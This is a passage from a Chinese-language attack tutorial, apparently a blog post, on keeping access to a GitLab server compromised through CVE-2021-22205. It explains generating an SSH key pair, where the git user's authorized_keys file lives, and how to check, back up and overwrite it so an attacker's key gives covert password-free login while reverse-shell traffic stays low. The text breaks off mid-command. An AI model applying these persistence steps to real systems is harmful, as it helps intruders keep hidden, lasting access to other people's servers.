一、背景
此处以CVE-2021-22205漏洞利用为前提,该漏洞利用成功后,可获取用户名为git的用户命令执行权限。
假设目标机器在内网同时可以出网,为避免反连的大流量,隐藏后续行为,参考前人gitlab的拓展经验,尝试通过添加公私钥的办法,实现内网免密登录目标。
二、公私钥配置
随便扒拉一台linux主机,执行ssh-keygen -t rsa
将生成的公私钥留存备用,公钥.pub文件用于上传至目标主机,无后缀的私钥id_rsa留存在本地。
三、目标文件判断
大多数情况下git的默认公私钥位置为
/var/opt/gitlab/.ssh/
本地docker搭建时路径为
/home/git/.ssh/
为保险起见,我们通过命令外带的办法,查询目标主机git用户的authorized_keys内容是否为空,如果文件不是空文件,先备份一下,再写入。
if [ -s /home/git/.ssh/authorized_keys]; then echo 1; else ech